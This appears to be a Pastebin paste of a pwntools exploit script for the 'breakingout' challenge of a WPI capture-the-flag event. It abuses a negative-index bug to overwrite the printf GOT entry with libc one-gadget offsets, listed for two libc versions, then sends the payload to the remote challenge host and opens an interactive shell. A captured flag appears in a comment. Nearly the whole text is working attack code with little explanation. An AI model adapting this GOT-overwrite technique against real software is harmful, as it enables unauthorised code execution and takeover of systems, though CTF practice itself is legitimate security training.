Guest User

Untitled

a guest
Apr 23rd, 2018
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.09 KB | None | 0 0
  1. #coding: utf-8
  2. from pwn import *
  3. context.clear(arch='amd64')
  4. '''
  5. vul: negative index
  6. printfGOT += (magic - printfGOT)
  7. x = (magic - printfGOT)
  8. mem[1] = 1 (+), mem[2] = -22 (a), mem[3] = 5 (b), mem[4] = -22 (c), mem[5] = x
  9. '''
  10. main = 0xDE5
  11. putsGOT = 0x202018
  12. printfGOT = 0x202028
  13. printf = 0x5CD90
  14. mem = 0x202080
  15. putsDataSam = 0x0000555555554696
  16. mainSam = 0x0000555555554000
  17.  
  18. #remote: libc-2.26.so:
  19. magic1 = 0x47C9A
  20. magic2 = 0x7838E
  21. magic3 = 0xD9763
  22. magic3_1 = 0xD9880 # WPI{Now_to_break_out_of_third_place}
  23. magic3_2 = 0xD9A3C
  24. magic3_3 = 0x0D9A5C
  25. magic4 = 0xFCCDE
  26. magic4_1 = 0xFDB8E
  27. magic6 = 0xFDB95
  28. '''
  29. #local: libc-2.23.so:
  30. magic1 = 0x4526A
  31. printf = 0x55800
  32. magic2 = 0x6F5A6
  33. magic3 = 0xCD0F3
  34. magic4 = 0xCD1C8
  35. magic5 = 0xF02A4
  36. magic6 = 0xF1147 ## success
  37. magic7 = 0xF66F0
  38. '''
  39. mem = [1, 1, -22, 5, -22, magic3_1-printf]
  40. context.clear(arch='i386')
  41. payload = flat(mem) # to get 32bit integer
  42. context.clear(arch='amd64')
  43. # p = process('./breakingout')
  44. p = remote('breakingout.wpictf.xyz', 31337)
  45. # raw_input('w')
  46. p.sendlineafter('(max 262144):', str(len(payload)))
  47. p.sendafter('teread', payload)
  48. p.interactive()
Add Comment
Please, Sign In to add comment